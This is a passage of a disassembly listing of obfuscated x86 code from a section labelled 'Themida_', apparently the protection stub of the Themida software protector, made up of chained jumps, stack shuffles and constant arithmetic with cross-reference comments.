Themida_:005A0495j push esp jmp loc_5A4731 ; --------------------------------------------------------------------------- loc_5A6918: ; CODE XREF: Themida_:0059E255j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A691D: ; CODE XREF: Themida_:00599622j push edx jmp loc_5A4A5B ; --------------------------------------------------------------------------- loc_5A6923: ; CODE XREF: Themida_:005AFAE8j xchg ebp, ecx dec ebp xchg ebp, ecx jmp loc_59D570 ; --------------------------------------------------------------------------- loc_5A692D: ; CODE XREF: Themida_:005AEDC4j push ecx mov ecx, esp add ecx, 4 jmp loc_5ADDFA ; --------------------------------------------------------------------------- loc_5A693B: ; CODE XREF: Themida_:005A220Ej push ecx mov ecx, 4E77E6Eh jmp loc_5A9BD6 ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp jmp loc_598BB3 ; --------------------------------------------------------------------------- loc_5A6952: ; CODE XREF: Themida_:005AA9F0j push dword ptr [esp+4] jmp loc_5AE4D4 ; --------------------------------------------------------------------------- loc_5A695B: ; CODE XREF: Themida_:0059B688j add ebp, 0ED6EE518h jmp loc_59D508 ; --------------------------------------------------------------------------- loc_5A6966: ; CODE XREF: Themida_:0059FC19j pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop edx push edx push esp pop edx push 42EBh jmp loc_5A8406 ; --------------------------------------------------------------------------- loc_5A6981: ; CODE XREF: Themida_:0059B1C9j pop edi pop dword ptr [esp] pop esp mov [esp], ebp jmp loc_5A610E ; --------------------------------------------------------------------------- loc_5A698E: ; CODE XREF: Themida_:0059D057j push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 add eax, ebx mov ebx, [esp] jmp loc_5A7284 ; --------------------------------------------------------------------------- loc_5A69AE: ; CODE XREF: Themida_:005A8CADj add esp, 4 jmp loc_5A43B8 ; --------------------------------------------------------------------------- loc_5A69B9: ; CODE XREF: Themida_:005997D6j ; Themida_:005A1EACj add edi, 1 push edx mov edx, 25BE3C5Ch xor edi, edx pop edx add edi, 5C627568h xor edi, 0D4647EC1h push ebp mov ebp, 38364848h jmp loc_5ABD21 ; --------------------------------------------------------------------------- loc_5A69DC: ; DATA XREF: Themida_:00598854o lodsd xor eax, ebx push ecx sub esp, 4 jmp loc_59EEBB ; --------------------------------------------------------------------------- loc_5A69EB: ; CODE XREF: Themida_:005A0DC7j sub ch, 16h jmp loc_5A1243 ; --------------------------------------------------------------------------- loc_5A69F3: ; CODE XREF: Themida_:0059D653j mov [esp], esi jmp loc_5A205D ; --------------------------------------------------------------------------- loc_5A69FB: ; DATA XREF: Themida_:005987B0o mov cx, [esp] jmp loc_5A60DD ; --------------------------------------------------------------------------- loc_5A6A04: ; CODE XREF: Themida_:0059C1E2j push ebp jmp loc_5A576A ; --------------------------------------------------------------------------- loc_5A6A0A: ; CODE XREF: Themida_:0059C138j mov ecx, 640E47F2h not ecx or ecx, 0DC036E5h jnb loc_59C7D3 and ecx, 0BA5305Dh mov esi, ecx mov ch, al loc_5A6A27: ; CODE XREF: Themida_:005A3CC7j add edx, 3E454F5h add edx, eax sub edx, 3E454F5h add edx, 5A746C19h mov eax, [esp] add esp, 4 add edx, 4 push 3007h mov [esp], edx jmp loc_5AC864 ; --------------------------------------------------------------------------- loc_5A6A54: ; CODE XREF: Themida_:005A7876j mov eax, 0D3C53FEh add edi, eax pop eax pop ebx jmp loc_5A77B1 ; --------------------------------------------------------------------------- loc_5A6A62: ; DATA XREF: Themida_:00598748o mov ax, [esp] push ebp jmp loc_5A40E7 ; --------------------------------------------------------------------------- loc_5A6A6C: ; CODE XREF: Themida_:005A9F15j xchg edx, [esp] jmp loc_5A57E2 ; --------------------------------------------------------------------------- loc_5A6A74: ; CODE XREF: Themida_:005A469Cj ; Themida_:005A7C27j pop ebx mov ebx, eax jmp loc_59F731 ; --------------------------------------------------------------------------- loc_5A6A7C: ; CODE XREF: Themida_:005AB4D5j ; Themida_:005AC04Aj push 4B22h mov [esp], ebp mov ebp, ebx jmp loc_599DF7 ; --------------------------------------------------------------------------- loc_5A6A8B: ; CODE XREF: Themida_:005A1C06j mov [esp], esi mov esi, 77AE7E3Dh jmp loc_598BD9 ; --------------------------------------------------------------------------- loc_5A6A98: ; CODE XREF: Themida_:loc_59BF00j xor edx, 26F662E8h sub edx, 0E75A2484h push ebp mov ebp, edx mov ebx, ebp jmp loc_5A1943 ; --------------------------------------------------------------------------- loc_5A6AAE: ; CODE XREF: Themida_:005A47B1j push ecx push dword ptr [esp] pop edx add esp, 4 pop ecx push ecx jmp loc_5A5252 ; --------------------------------------------------------------------------- loc_5A6AC0: ; CODE XREF: Themida_:005ABC94j push eax mov eax, 2E23690Ch shl eax, 8 jnp loc_59F2FF sub eax, 0C85A3Bh jz loc_5AD65B shr eax, 4 add eax, 54140BB8h inc eax jl loc_5A30FF push edi mov edi, 0D9F9135Bh jmp loc_5A4C75 ; --------------------------------------------------------------------------- loc_5A6AF4: ; CODE XREF: Themida_:005A7B9Fj mov edi, [esp] add esp, 4 push 0 sub [esp], eax mov eax, [esp] add esp, 4 or eax, 6A0F32A5h dec eax not eax jmp loc_5A577D ; --------------------------------------------------------------------------- loc_5A6B15: ; CODE XREF: Themida_:005A55CFj push eax push ebx jmp loc_5A6BFA ; --------------------------------------------------------------------------- loc_5A6B1C: ; CODE XREF: Themida_:0059CE2Fj and eax, ebp jmp loc_5A6852 ; --------------------------------------------------------------------------- loc_5A6B23: ; CODE XREF: Themida_:0059A41Ej mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5AB8C5 ; --------------------------------------------------------------------------- loc_5A6B3B: ; CODE XREF: Themida_:005AAC3Ej mov eax, esp add eax, 4 add eax, 4 jmp loc_59EDDE ; --------------------------------------------------------------------------- loc_5A6B4A: ; CODE XREF: Themida_:0059CA9Bj add eax, 4 xchg eax, [esp] jmp loc_5ACE83 ; --------------------------------------------------------------------------- loc_5A6B55: ; CODE XREF: Themida_:005A8DE0j pop ecx jmp loc_59C8DF ; --------------------------------------------------------------------------- loc_5A6B5B: ; CODE XREF: Themida_:005A5A40j xor esi, 1C2DD62Ch add ecx, esi pop esi sub esi, ecx pop ecx sub ebp, esi pop esi sub esi, 4443412Bh add esi, ebp add esi, 4443412Bh mov ebp, [esp] add esp, 4 add esi, 4 jmp loc_5ACFEB ; --------------------------------------------------------------------------- loc_5A6B89: ; CODE XREF: Themida_:00599ED3j xchg eax, [esp] mov esp, [esp] jmp loc_5AB0E0 ; --------------------------------------------------------------------------- loc_5A6B94: ; CODE XREF: Themida_:005AA0EDj mov ebx, 15FD3761h sub edi, ebx pop ebx jmp loc_5A634E ; --------------------------------------------------------------------------- loc_5A6BA1: ; CODE XREF: Themida_:0059D21Fj add esp, 4 add edi, edx push ebp jmp loc_5A98CE ; --------------------------------------------------------------------------- loc_5A6BAF: ; CODE XREF: Themida_:0059ACDBj pop eax jmp loc_5A13EE ; --------------------------------------------------------------------------- loc_5A6BB5: ; CODE XREF: Themida_:005A6E42j push dword ptr [esp] mov edx, [esp] push ecx jmp loc_59C499 ; --------------------------------------------------------------------------- loc_5A6BC1: ; CODE XREF: Themida_:005AC301j pop esp add ebx, 2 xor ebx, [esp] jmp loc_5A24EB ; --------------------------------------------------------------------------- loc_5A6BCD: ; CODE XREF: Themida_:005AA347j pop eax add ebp, 7CC86C23h shl ebp, 4 jmp loc_5A8F0C ; --------------------------------------------------------------------------- loc_5A6BDC: ; CODE XREF: Themida_:005A4EC9j ; Themida_:005A5181j jmp loc_5AEECD ; --------------------------------------------------------------------------- loc_5A6BE1: ; CODE XREF: Themida_:0059F8CBj sub bl, al pop eax push ecx mov cl, 7Fh push edx mov dl, 8Bh sub dl, 78h not dl sub dl, 0DDh add dl, 6 jmp loc_59F89E ; --------------------------------------------------------------------------- loc_5A6BFA: ; CODE XREF: Themida_:005A6B17j mov ebx, 5FFC6A8Bh add ebx, 0A0039579h mov eax, ebx pop ebx add edi, eax pop eax xchg edi, [esp] mov esp, [esp] mov esi, [esp] sub esp, 4 mov [esp], ecx jmp loc_59E44B ; --------------------------------------------------------------------------- loc_5A6C1F: ; CODE XREF: Themida_:00598DA1j neg eax jp loc_5AE535 push 45F6h mov [esp], edx push ebp mov ch, bl mov bh, 0C7h loc_5A6C34: ; CODE XREF: Themida_:005A4C5Bj shr edi, 1 not edi push ebp mov ebp, 9B60971h not ebp inc ebp or ebp, 1AFA33C7h sub ebp, 0DF708685h xor edi, ebp jmp loc_5A3590 ; --------------------------------------------------------------------------- loc_5A6C54: ; CODE XREF: Themida_:005A7C15j add dword ptr [esp], 4 pop edi jmp loc_5AAEEE ; --------------------------------------------------------------------------- loc_5A6C5E: ; CODE XREF: Themida_:005ABFBAj xor eax, edx push dword ptr [esp] pop edx push ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_59CD89 ; --------------------------------------------------------------------------- loc_5A6C74: ; CODE XREF: Themida_:005AC915j pop small word ptr [edx] jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A6C7C: ; CODE XREF: Themida_:005A4874j sub esi, 77FC08A7h pop ebp xor esi, [esp] xor [esp], esi jmp loc_5A4550 ; --------------------------------------------------------------------------- loc_5A6C8E: ; CODE XREF: Themida_:005A893Dj sub cl, 0FFh jmp loc_5A4D3D ; --------------------------------------------------------------------------- loc_5A6C96: ; CODE XREF: Themida_:005AF038j mov ebx, edx pop edx mov edi, ebx jmp loc_59B121 ; --------------------------------------------------------------------------- loc_5A6CA0: ; CODE XREF: Themida_:005A0135j mov edx, 0BE35D3Bh sub edx, 5A0A445Ch add edx, 0BFD8230Dh add ecx, edx pop edx not ecx push esi mov esi, 0C9D84514h jmp loc_5AF62C ; --------------------------------------------------------------------------- loc_5A6CC1: ; CODE XREF: Themida_:005A71E4j sub ecx, ebp sub ecx, 126D6930h pop ebp push ebx mov ebx, 5F9517D7h add [esp+8], ebx pop ebx add [esp+4], ecx sub dword ptr [esp+4], 5F9517D7h mov ecx, [esp] add esp, 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A6CF3: ; CODE XREF: Themida_:005AFC3Fj mov ebp, 4E976F68h jmp loc_5A2790 ; --------------------------------------------------------------------------- loc_5A6CFD: ; CODE XREF: Themida_:005A798Ej pop edx pop dword ptr [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A6D0B: ; CODE XREF: Themida_:0059D127j xor eax, 37F426AFh js loc_5A3B9F not eax shr eax, 5 jz loc_5A51E2 jmp loc_5AC3C9 ; --------------------------------------------------------------------------- loc_5A6D26: ; CODE XREF: Themida_:005A229Fj xor ecx, 0CB4AF8DCh or ebp, ecx jmp loc_5A64D7 ; --------------------------------------------------------------------------- loc_5A6D33: ; CODE XREF: Themida_:005AF598j push dword ptr [esp] jmp loc_5A8BA9 ; --------------------------------------------------------------------------- loc_5A6D3B: ; CODE XREF: Themida_:005AD384j sub edi, 5BFE35E0h add edi, ebp jmp loc_5A45C2 ; --------------------------------------------------------------------------- loc_5A6D48: ; CODE XREF: Themida_:005A88F6j add esp, 4 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_5A6D62: ; CODE XREF: Themida_:005A14FAj mov [esp], ebx mov bl, 8 push small 2A07h mov [esp], dx push 4E5h mov [esp], ecx jmp loc_5A126A ; --------------------------------------------------------------------------- loc_5A6D7C: ; CODE XREF: Themida_:005AE0E2j pop eax add eax, 4 jmp loc_599A05 ; --------------------------------------------------------------------------- loc_5A6D87: ; CODE XREF: Themida_:0059E536j mov edx, 4 jmp loc_5992E1 ; --------------------------------------------------------------------------- loc_5A6D91: ; CODE XREF: Themida_:005A9F45j add esp, 4 push 6AA0h mov [esp], ebp push esp mov ebp, [esp] jmp loc_59BB5C ; --------------------------------------------------------------------------- loc_5A6DA5: ; CODE XREF: Themida_:005AF056j add al, 56h pop ebx push 209Ah mov [esp], ecx push ebx mov bl, 77h dec bl push ecx mov cl, 0C8h add cl, 0DFh sub bl, cl jmp loc_5AAB69 ; --------------------------------------------------------------------------- loc_5A6DC2: ; CODE XREF: Themida_:005AA150j add eax, 0B371528h mov esi, eax pop eax add eax, esi pop esi xor eax, 22EB381Ah push ebp mov ebp, 0FD151533h add eax, ebp pop ebp jmp loc_59D47A ; --------------------------------------------------------------------------- loc_5A6DE0: ; CODE XREF: Themida_:0059FCC3j xchg ebx, [esp] jmp loc_5A3DB9 ; --------------------------------------------------------------------------- loc_5A6DE8: ; CODE XREF: Themida_:005AF0DEj sub eax, 8CA1CA5h sub eax, ebp add eax, 8CA1CA5h sub eax, 46ED1A0Ah push edx jmp loc_59B296 ; --------------------------------------------------------------------------- loc_5A6DFF: ; CODE XREF: Themida_:0059F546j pop ebx pop eax sub al, 8Ch sub al, dl add al, 8Ch mov dx, [esp] jmp loc_59D26A ; --------------------------------------------------------------------------- loc_5A6E10: ; CODE XREF: Themida_:005A5DC4j mov [esp], edx sub esp, 4 mov [esp], ecx mov ecx, 45EB5901h shr ecx, 7 jns loc_5A47AB add ecx, 0FF742950h jmp loc_59F10B ; --------------------------------------------------------------------------- mov [esp], ebx loc_5A6E38: ; CODE XREF: Themida_:005AF926j pop ecx sub edx, ecx pop ecx mov dword ptr [edx], 0 jmp loc_5A6BB5 ; --------------------------------------------------------------------------- loc_5A6E47: ; CODE XREF: Themida_:005AEBD9j push 3035h mov [esp], ebx mov ebx, 4 sub ecx, 0E126966h add ecx, ebx push edi mov edi, 25316A7Dh jmp loc_59FAA8 ; --------------------------------------------------------------------------- loc_5A6E67: ; CODE XREF: Themida_:0059BB74j ; Themida_:0059D031j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_59D48D ; --------------------------------------------------------------------------- loc_5A6E75: ; CODE XREF: Themida_:005AE21Bj mov ecx, 2 jmp loc_5A2BAD ; --------------------------------------------------------------------------- loc_5A6E7F: ; CODE XREF: Themida_:005A2458j sub edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], esi push ebx mov ebx, 2 mov esi, ebx pop ebx push ebx mov ebx, 501779Fh sub edi, ebx pop ebx add edi, esi add edi, 501779Fh push dword ptr [esp] mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_59902E ; --------------------------------------------------------------------------- loc_5A6EC6: ; CODE XREF: Themida_:005AD4C6j push ecx mov cl, 0A5h jmp loc_5A2ADC ; --------------------------------------------------------------------------- loc_5A6ECE: ; CODE XREF: Themida_:005A571Aj sub ecx, 4CCE070Ch push 2 mov [esp], ecx xor dword ptr [esp], 6E482D66h push dword ptr [esp] pop esi jmp loc_59DFFE ; --------------------------------------------------------------------------- loc_5A6EEC: ; CODE XREF: Themida_:0059A9CCj push esi jmp loc_5AB1C5 ; --------------------------------------------------------------------------- loc_5A6EF2: ; CODE XREF: Themida_:0059E590j xchg ebp, [esp] pop esp jmp loc_5A0439 ; --------------------------------------------------------------------------- loc_5A6EFB: ; CODE XREF: Themida_:0059DD70j add esp, 4 add ebx, 14771A77h add ebx, 12E5514Eh jmp loc_5A3128 ; --------------------------------------------------------------------------- loc_5A6F0F: ; CODE XREF: Themida_:005ABA0Ej xor eax, ecx push ebp mov ebp, esp add ebp, 4 jmp loc_59E58D ; --------------------------------------------------------------------------- loc_5A6F1F: ; CODE XREF: Themida_:0059D104j sub ebp, 6FFFBFA7h push ebp sub dword ptr [esp], 0EB50E4h jmp loc_59AEF2 ; --------------------------------------------------------------------------- loc_5A6F32: ; DATA XREF: Themida_:005987D4o push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebp jmp loc_59C64C ; --------------------------------------------------------------------------- loc_5A6F42: ; CODE XREF: Themida_:005A8BE5j add ebx, 662674F9h xor ebx, 0E1DB7EFDh push ebx jmp loc_5AF6E3 ; --------------------------------------------------------------------------- loc_5A6F54: ; CODE XREF: Themida_:005AA2C5j push ebp push 10000h pop ebp and eax, ebp push dword ptr [esp] pop ebp jmp loc_5AD95D ; --------------------------------------------------------------------------- loc_5A6F66: ; CODE XREF: Themida_:loc_5ABCA9j jmp loc_5A2147 ; --------------------------------------------------------------------------- loc_5A6F6B: ; CODE XREF: Themida_:0059DF63j push 1C06h mov [esp], esi push edx mov edx, 381B0598h sub edx, 20948FAAh shr edx, 8 jmp loc_59C2FC ; --------------------------------------------------------------------------- loc_5A6F87: ; CODE XREF: Themida_:005A033Fj add eax, edx jmp loc_59EAD2 ; --------------------------------------------------------------------------- loc_5A6F8E: ; CODE XREF: Themida_:0059BA59j shr eax, 5 push edi jmp loc_5A9A6E ; --------------------------------------------------------------------------- loc_5A6F97: ; CODE XREF: Themida_:005AAA10j mov ecx, 4 sub dword ptr [esp+4], 4F413D9Eh add [esp+4], ecx add dword ptr [esp+4], 4F413D9Eh mov ecx, [esp] add esp, 4 pop ecx add ecx, 4 sub esp, 4 jmp loc_5A1B95 ; --------------------------------------------------------------------------- loc_5A6FC8: ; CODE XREF: Themida_:005AF366j add ebx, 3B5B5C97h jmp loc_5A9A0B ; --------------------------------------------------------------------------- loc_5A6FD3: ; CODE XREF: Themida_:loc_5AEED4j and ebp, 3EF015ADh jg loc_5AAD25 sub ebp, 0BC0DFA67h or ebp, 94D415Bh mov dh, al pop ebx loc_5A6FEE: ; CODE XREF: Themida_:005A965Ej sub eax, 70D81638h mov ebp, [esp] jmp loc_5AADCD ; --------------------------------------------------------------------------- loc_5A6FFB: ; CODE XREF: Themida_:0059DEFDj push 7CD2h mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push ebx push eax mov eax, 67F47844h push edx mov edx, 0A9F70109h mov ebx, edx pop edx add ebx, eax pop eax or ebx, 9587CD0h xor ebx, 19FB7DD9h add esi, ebx jmp loc_59EAEE ; --------------------------------------------------------------------------- loc_5A7034: ; CODE XREF: Themida_:005A015Dj add ebp, eax pop eax sub ebp, 5FAD6324h push ebp jmp loc_5AC27C ; --------------------------------------------------------------------------- loc_5A7043: ; CODE XREF: Themida_:005A73C9j pop ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_59D78E ; --------------------------------------------------------------------------- loc_5A7050: ; CODE XREF: Themida_:005AEE23j add dh, 68h pop ecx sub bl, dh pop edx push eax mov ah, bl mov ch, ah pop eax jmp loc_5A9CBC ; --------------------------------------------------------------------------- loc_5A7062: ; CODE XREF: Themida_:00598F07j ; Themida_:005A3064j push ebx jmp loc_5AD90C ; --------------------------------------------------------------------------- loc_5A7068: ; CODE XREF: Themida_:005ADD88j push edx push edi jmp loc_59A4C3 ; --------------------------------------------------------------------------- loc_5A706F: ; CODE XREF: Themida_:005AEBBFj sub ecx, 35736CDBh or ecx, 33841DC9h add ecx, 5B0D6DA4h add eax, 7D9D2B89h add eax, 13986426h sub eax, ecx sub eax, 13986426h sub eax, 7D9D2B89h pop ecx push ebx jmp loc_5AF0AF ; --------------------------------------------------------------------------- loc_5A709E: ; CODE XREF: Themida_:005A61B4j not ecx push edi jmp loc_5A9AAC ; --------------------------------------------------------------------------- loc_5A70A6: ; CODE XREF: Themida_:005AFB70j mov dh, ch jmp loc_5AC489 ; --------------------------------------------------------------------------- loc_5A70AD: ; CODE XREF: Themida_:005993A3j sub al, cl pop cx sub bl, al mov eax, [esp] add esp, 4 push 1DC2h mov [esp], edx push ecx jmp loc_5A65D3 ; --------------------------------------------------------------------------- loc_5A70C7: ; CODE XREF: Themida_:loc_59FA4Aj not ebp and ebp, 702421ABh jmp loc_59F969 ; --------------------------------------------------------------------------- loc_5A70D4: ; CODE XREF: Themida_:005A37C7j add edx, 0B0B5E0E3h jmp loc_5A3739 ; --------------------------------------------------------------------------- loc_5A70DF: ; CODE XREF: Themida_:005A95C5j dec eax shl eax, 6 jmp loc_59DFA9 ; --------------------------------------------------------------------------- loc_5A70E8: ; CODE XREF: Themida_:005A293Cj push edx jmp loc_5AED5A ; --------------------------------------------------------------------------- loc_5A70EE: ; CODE XREF: Themida_:005A10DAj add esp, 4 sub eax, 6F210CF2h sub eax, 3DA24328h add eax, edi add eax, 3DA24328h add eax, 6F210CF2h mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi sub esp, 4 mov [esp], edx mov edx, 5B091D73h mov esi, edx mov edx, [esp] add esp, 4 add esi, 0FFFFFFFFh not esi inc esi jmp loc_59BCB6 ; --------------------------------------------------------------------------- loc_5A7139: ; CODE XREF: Themida_:005A643Cj ; Themida_:005ADE24j pop esp and edx, 64A41D1Fh push ebp push ebx mov ebx, 647E6679h sub ebx, 5DD329BFh jmp loc_5AA00F ; --------------------------------------------------------------------------- loc_5A7152: ; CODE XREF: Themida_:005A560Aj pop esp mov [esp], esi jmp loc_59DA72 ; --------------------------------------------------------------------------- loc_5A715B: ; CODE XREF: Themida_:005A7581j mov eax, ebx pop ebx xor eax, 4E347FA9h jns loc_5A08A8 jmp loc_59F0EE ; --------------------------------------------------------------------------- jmp loc_59DF26 ; --------------------------------------------------------------------------- mov al, dh loc_5A7175: ; CODE XREF: Themida_:005AB7E1j pop eax sub al, cl pop cx add al, 66h sub al, bl sub al, 66h push dx push ebx push eax jmp loc_5A7FF7 ; --------------------------------------------------------------------------- loc_5A7189: ; CODE XREF: Themida_:005A998Fj movzx ecx, al push 2052h mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx push 0C2Dh jmp loc_5AF7F7 ; --------------------------------------------------------------------------- loc_5A71AC: ; CODE XREF: Themida_:00599665j xor edx, [esp] mov esp, [esp] push 5C50h mov [esp], ecx push ebx jmp loc_5A59C0 ; --------------------------------------------------------------------------- loc_5A71C0: ; CODE XREF: Themida_:005A51DDj pop eax push ecx mov cl, 9Ch not cl or cl, 8Dh add cl, 0D2h jmp loc_5A54C8 ; --------------------------------------------------------------------------- loc_5A71D1: ; CODE XREF: Themida_:005AEBCBj mov eax, [esp] add esp, 4 jmp loc_59B41B ; --------------------------------------------------------------------------- loc_5A71DC: ; CODE XREF: Themida_:005ABC37j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A71E1: ; CODE XREF: Themida_:005A8B2Cj mov esp, [esp] jmp loc_5A6CC1 ; --------------------------------------------------------------------------- loc_5A71E9: ; CODE XREF: Themida_:005A41DAj dec cl jno loc_59E4E7 neg cl jns loc_5A7C8A inc cl jmp loc_5AF557 ; --------------------------------------------------------------------------- loc_5A7200: ; CODE XREF: Themida_:0059FA9Cj add esp, 4 xchg ebp, [esp] mov esp, [esp] push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_5A5C5C ; --------------------------------------------------------------------------- loc_5A721D: ; CODE XREF: Themida_:005A9481j mov edx, ecx pop ecx dec edx add edx, 61F4E6A2h jmp loc_5AE73F ; --------------------------------------------------------------------------- loc_5A722C: ; CODE XREF: Themida_:0059BCDEj pop ebx jmp loc_5A0C1D ; --------------------------------------------------------------------------- loc_5A7232: ; CODE XREF: Themida_:005A5C8Bj add edx, edi push 1087h mov [esp], eax mov eax, 2831021Fh neg eax push 401Fh jmp loc_59BF8C ; --------------------------------------------------------------------------- loc_5A724D: ; CODE XREF: Themida_:0059ED27j sub ecx, 0A4C1C42h jmp loc_5A475F ; --------------------------------------------------------------------------- loc_5A7258: ; CODE XREF: Themida_:005A09E1j mov ch, al mov eax, [esp] push edx mov edx, esp jmp loc_5AD4B3 ; --------------------------------------------------------------------------- loc_5A7265: ; CODE XREF: Themida_:0059B85Aj push ecx mov ecx, esp jmp loc_5A658E ; --------------------------------------------------------------------------- loc_5A726D: ; CODE XREF: Themida_:0059BDF8j or eax, eax jnz loc_59DB9D push esi push 6BC77F23h mov esi, [esp] push ebp jmp loc_5A509D ; --------------------------------------------------------------------------- loc_5A7284: ; CODE XREF: Themida_:005A69A9j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59D285 ; --------------------------------------------------------------------------- loc_5A7295: ; CODE XREF: Themida_:005A4340j push esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp jmp loc_5A2C03 ; --------------------------------------------------------------------------- loc_5A72AF: ; CODE XREF: Themida_:005ADB5Fj add esp, 4 sub ebx, esi pop esi push dword ptr [esp] jmp loc_59A240 ; --------------------------------------------------------------------------- loc_5A72C0: ; CODE XREF: Themida_:005AB4EBj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5A0CC2 ; --------------------------------------------------------------------------- loc_5A72D7: ; CODE XREF: Themida_:0059EBABj neg esi not esi push edx mov edx, 6F5D28EFh add esi, edx jmp loc_5ABFF0 ; --------------------------------------------------------------------------- loc_5A72E8: ; CODE XREF: Themida_:005A507Aj mov ch, 0A1h xor ch, ah mov eax, [esp] add esp, 4 push eax mov al, 0BCh inc al sub al, 1Dh jmp loc_599FD2 ; --------------------------------------------------------------------------- loc_5A72FE: ; CODE XREF: Themida_:005AC1D7j shl ebx, 3 add ebx, 0CE6A6F7Bh jmp loc_59BA7F ; --------------------------------------------------------------------------- loc_5A730C: ; CODE XREF: Themida_:00599702j ; Themida_:0059E751j pop edx jmp loc_5AC931 ; --------------------------------------------------------------------------- loc_5A7312: ; CODE XREF: Themida_:005AB060j mov esi, esp jmp loc_5A829D ; --------------------------------------------------------------------------- loc_5A7319: ; CODE XREF: Themida_:005A13FDj sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 44E770EBh mov ebx, ecx jmp loc_59EBA1 ; --------------------------------------------------------------------------- loc_5A733D: ; CODE XREF: Themida_:005ACBBFj mov ebx, 38h push 4B3h mov [esp], ebx jmp loc_5A7AB4 ; --------------------------------------------------------------------------- loc_5A734F: ; CODE XREF: Themida_:005AF8D6j mov [esp], eax mov eax, esi jmp loc_59B431 ; --------------------------------------------------------------------------- loc_5A7359: ; CODE XREF: Themida_:005A2BEBj dec ebx jp loc_5A0E02 add ebx, 362F79C6h mov edi, ebx pop ebx jmp loc_5ACDF7 ; --------------------------------------------------------------------------- pop edx loc_5A736F: ; CODE XREF: Themida_:005AA95Dj mov edx, esp push ebp mov ebp, 4 jmp loc_59CD60 ; --------------------------------------------------------------------------- loc_5A737C: ; CODE XREF: Themida_:005A8CE0j sub ebx, 5EA10964h push 7B8Dh mov [esp], esi mov esi, 2984165Bh jmp loc_5AD6F8 ; --------------------------------------------------------------------------- loc_5A7394: ; CODE XREF: Themida_:005AD1C7j pop ecx push edi sub esp, 4 mov [esp], esi mov esi, 0FFB0DC0h shl esi, 4 push edx mov edx, 734D2461h or esi, edx jmp loc_59FF00 ; --------------------------------------------------------------------------- loc_5A73B1: ; CODE XREF: Themida_:0059C21Ej mov dl, bl push eax push ebx mov bl, dl mov ah, bl jmp loc_5AA04C ; --------------------------------------------------------------------------- loc_5A73BE: ; CODE XREF: Themida_:005A762Aj mov edi, [esp] add esp, 4 add ebx, ebp jmp loc_5A7043 ; --------------------------------------------------------------------------- loc_5A73CE: ; CODE XREF: Themida_:0059E3ECj add esi, 2942788Dh sub esi, 5D0740DEh push 5766h mov [esp], edx mov edx, 0CC6EEDCFh jmp loc_59ADEC ; --------------------------------------------------------------------------- loc_5A73EC: ; DATA XREF: Themida_:005988F4o push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_5A1015 ; --------------------------------------------------------------------------- loc_5A73FA: ; CODE XREF: Themida_:0059CFEDj push ebp push edi mov edi, 20EB552Bh mov ebp, edi pop edi sub ebp, 11426D74h add ebp, 65631F6Fh push edx mov edx, 21303F52h shl edx, 1 dec edx add edx, 0FC0335EFh jmp loc_5ACF8D ; --------------------------------------------------------------------------- loc_5A7424: ; CODE XREF: Themida_:005A4686j xor edi, 52066475h mov ecx, edi jmp loc_5AC83E ; --------------------------------------------------------------------------- loc_5A7431: ; CODE XREF: Themida_:loc_5A5985j push ebx mov ebx, 343D51B1h shl ebx, 7 add ebx, 41DA3701h jmp loc_5A5C57 ; --------------------------------------------------------------------------- loc_5A7445: ; CODE XREF: Themida_:005AD3C9j pop dword ptr [esp] mov esp, [esp] mov [esp], esp push 0EAh jmp loc_5AFD80 ; --------------------------------------------------------------------------- loc_5A7458: ; CODE XREF: Themida_:005AE0D0j add edx, 0C92032E3h jmp loc_5A54EC ; --------------------------------------------------------------------------- loc_5A7463: ; CODE XREF: Themida_:005AA9CBj push esi mov esi, 2D2521EBh push ebp mov ebp, 2526775Bh add ebx, 214A5A67h jmp loc_5AF0A1 ; --------------------------------------------------------------------------- loc_5A747A: ; CODE XREF: Themida_:0059C35Fj xchg ecx, [esp] pop esp push 71A5h jmp loc_5A9965 ; --------------------------------------------------------------------------- loc_5A7488: ; CODE XREF: Themida_:005A0685j pop edx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop ecx push esi mov esi, esp push edx mov edx, 46200775h neg edx neg edx and edx, 3E8D0B30h jmp loc_59DF26 ; --------------------------------------------------------------------------- loc_5A74AB: ; CODE XREF: Themida_:00598BE8j add esi, 443A4088h add ecx, 254E24A6h add ecx, esi sub ecx, 254E24A6h pop esi pop ebx xchg ecx, [esp] jmp loc_5AE5F4 ; --------------------------------------------------------------------------- loc_5A74C9: ; CODE XREF: Themida_:005AE074j sub esi, ecx pop ecx add esi, ebx jmp loc_59DD0C ; --------------------------------------------------------------------------- loc_5A74D3: ; CODE XREF: Themida_:005A7F3Bj shl ebx, 2 sub ebx, 57003B9Ch neg ebx jmp loc_5ACE42 ; --------------------------------------------------------------------------- loc_5A74E3: ; 